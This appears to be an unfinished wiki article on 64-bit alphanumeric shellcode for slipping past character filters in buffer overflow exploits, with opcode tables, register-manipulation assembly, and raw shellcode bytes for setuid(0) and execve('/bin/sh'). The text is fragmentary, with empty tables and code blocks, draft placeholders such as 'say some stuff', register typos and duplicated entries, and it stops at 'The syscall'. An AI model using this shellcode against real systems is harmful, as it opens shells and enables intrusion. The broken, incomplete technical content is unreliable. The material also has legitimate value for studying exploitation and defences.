{{info|<center>'''Alphanumeric [[shellcode]]''' is similar to [[ascii shellcode]] in that it is used to evade character filters during [[Buffer Overflows|buffer overflow]] [[exploitation]].<br/> While 32 bit alphanumeric code is widely documented, this is the first public research and documentation of 64-bit alphanumeric code containing an example [[shellcode]].</center>}}{{social}}

 

 

= Available x86_64 Instructions =

{{notice|This chart contains '''64-bit''' alphanumeric opcodes.  32-bit alphanumeric opcodes are available at the 32-bit [[ascii shellcode]] entry.}}

|+ x86_64 Instructions Table

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

|

'c'    0x63    movslq (%{64bit}), %{32bit}

'l'    0x6c    insb (%dx),%es:(%rdi)

'm'    0x6d    insl (%dx),%es:(%rdi)

= Alphanumeric Opcode Compatibility =

== Alphanumeric Intercompatible x86 Opcodes ==

#    Intercompatible x86* alphanumeric opcodes      #

# 0x64,0x65 #  d,e #  [fs|gs] prefix               #

# 0x66,0x67 #  f,g #  16bit [operand|ptr] override #

# 0x68,0x6a #  h,j #  push                         #

# 0x69,0x6b #  i,k #  imul                         #

# 0x6c-0x6f #  l-o #  ins[bwd], outs[bwd]         #

# 0x70-0x7a #  p-z #  Conditional jumps            #

# 0x30-0x35 #  0-5 #  xor                         #

# 0x36       #  6   #  %ss segment register         #

# 0x38-0x39 #  8,9 #  cmp                         #

# 0x50-0x57 #  P-W #  push *x,*i,*p               #

# 0x58-0x5a #  XYZ #  pop [*ax, *cx, *dx]         #

Because not ''all'' opcodes are intercompatible, yet comparisons and conditional jumps ''are'' interompatible, it is possible to determine the architecture of an x86 processor using exclusively alphanumeric opcodes.  The opcodes which are specifically not compatible are limited to the 64 bit special prefixes '''0x40-0x4f''', which allow for manipulation of 64 bit registers and 8 additional 64 bit general purpose registers, '''%r8-%r15'''.  By making use of these additional registers (which 32 bit processors do not have), one can perform an operation that will set a value on a different register in the two processors.  Following this, a conditional statement can be made against one of the two registers to determine if the value was set.  Using the '''pop''' instruction is the most effective way to set the value of a register due to instructional limitations.  Using an alternative register to %rsp or %esp as the stack pointer enables the use of an effective conditional statement to determine if the value of a register is equal to the most recent thing pushed or popped from the stack.

==15 Byte Architecture Detection Shellcode==

  [root@ares bha]# # Returns false on a 64 bit system:

=Alphanumeric x86_64 Register Value and Data Manipulation=

Given the limited set of instructions for alphanumeric shellcode.... write some more stuff once done explaining the various aspects below in a general short form manner.

==Push:  Alphanumeric x86_64 Registers==

Pushing the 64 bit registers RAX-RDI is done using a single upper case P-W (\x50-\x57) dependent on which register you're pushing. Prefixing with "A" (for general registers R8-R15) or "f" for 16 bit registers (AX-DI) gives access to push 32 registers using alphanumeric shellcode.

| push %r8b

| push %r9b

| push %r10b

| push %r11b

| push %r12b

| push %r13b

| push %r14b

| push %15b

==Pop: Alphanumeric X86_64 Registers==

Pop is more limited in its range of usable registers due to the limitations of alphanumeric shellcode.    This is limited to RAX, RCX, and RAX.  As with push, the extended register shellcode is prefixed to access 16 bit and general registers.  This gives the ability to pop a total of 12 (6 full size and 6 16 bit) registers we can pop.  

        # 16 bit registers (using 0x66 or 'f'  

        # [sometimes fA] prefix):

        # %cx, %dx, %ax, %r8w, %r9w, %r10w  

        # So, using push and pop we can set the values of  

        # 6 fullsize CPU registers:

        # %rax, %rcx, %rdx, %r8, %r9, %r8

        # Or get any values of 16 fullsize CPU registers  

        # to the top of the stack:

        # %r8-%r15, %rax-%rdi

        # Lets look quickly.  We've got 5 main registers  

        # and 5 special 64 bit registers we can push but

        # not pop:

        # %rbx, %rsp, %rbp, %rsi, %rdi

        # How can we write to those (or read their

        # sub-registers) using alphanumeric bytecode

        # instructions and operands only? We can also

        # presumably use any of the 6 full control  

        # registers by our emulating for mov with push

        # and pop.  Using only the registers we can

        # already access, we will attempt to get  

        # instructions for our use to set values.

        # We've identified our special register prefix,

        #      0x41, 'A'.

        # We've identified our word operand override,  

        #      0x66, 'f'.

        # Lets identify all the alphanumeric overrides and prefixes.

        # Notice these overrides are very similar to those for 32

        # bit platforms.

        #      0x36, '6', %ss segment override.  Very handy.

        #      0x64, 'd', %fs segment override

        #      0x65, 'e', %gs segment override

        #      0x66, 'f', 16 bit operand size

        #      0x67, 'g', 16 bit address size

        #      0x41, 'A', 64 bit special register use (%r##)

        #      0x48, 'H', 64 bit register size override

        #      0x40-4a, special 64 bit overrides

        # entirely fruitful.  We do not get full control

        # over the %rbx register, however, we get write

        # We can access these by using xor, imul, and

        # movslq instructions:

        #      xor $0x[byte]({reg}),%ebx     

        #      "\x33\x??\x##"                  "3*?"

        #      "\x69\x??\x#2\x#1\x#1\x#1\x#1" "i*21111"

        #      imul $0x[byte1],0x[byte2]({reg}), %ebx

        #      movslq 0x[byte1]({reg}), %ebx

        #      "\x63\x??\x##                   "c*?"

        # instructions (e.g. "63*?" in stead of "3*?").  If

        #  imul  $0x[byte1],0x[byte2]({reg}),%rbx

        #    0x48 0x35 :  xor $0x########, %rax

        #  at least two operands (even if register denote):

        # accessible at %ss:(%rsp).  Knowing this, we can use

        # to set values on some of our more difficult registers:

        #  \x59  pop %rcx

        #  \x5a  pop %rax      (This just sets the pointer back)

        #  \x36\x48\x33\x31    xor %ss:(%rcx), %rsi

        # Now we've zeroed out %rsi and %rdi.  %r14 and %r15

        #  xor %ss:0x30(%rcx), %rax        # store that value in rax

        #  xor %rax, %ss:0x30(%rcx)        # Null that area of stack

        # Once the stack space, as well as the destination is set

        #  36 48 31 41 30        xor    %rax,%ss:0x30(%rcx)

        #  36 48 33 69 30        xor    %ss:0x30(%rcx),%rbp

==Example: Zeroing Out X86_64 CPU Registers==

<syntaxhighlight lang="asm">

         push %rsp 2

         pop %rcx   1             

         pop %r8     2              

</syntaxhighlight>

<syntaxhighlight lang="asm">

</syntaxhighlight>

<syntaxhighlight lang="asm">

</syntaxhighlight>

say some stuff, explain what's going on etc.

<syntaxhighlight lang="asm">

         pop %rdx                 # rdx is zero

</syntaxhighlight>

<syntaxhighlight lang="asm">

         xor $0x30, %al           # zeroed out %rax

</syntaxhighlight>

<syntaxhighlight lang="asm">

         xor %rax, %ss:0x30(%rcx) # Zero that stack slot

         xor %ss:0x30(%rcx), %rbx # %rbx is zero

         pop %rax                 # re-initialize %rax as dummy

         xor %ss:0x30(%rcx), %rbp # %rbp is zero

</syntaxhighlight>

= 64 Bit Alphanumeric execve('/bin/sh') - 111 bytes =

== Starting Shellcode (64-bit) ==

{{info|This was converted to shellcode from the example in 64 bit linux assembly}}

 

  # a function is f(%rdi,%rdx,%rsi).

* Setuid(0) - 8 bytes

  "\x48\x31\xff\x6a\x69\x58\x0f\x05"

* execve('/bin/sh') - works if %rdi is null at beginning of execution (like it is in the setuid call) - 26 bytes

  "\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"

 

 

         push %rax                      # 0x14 on the stack now.

==The syscall==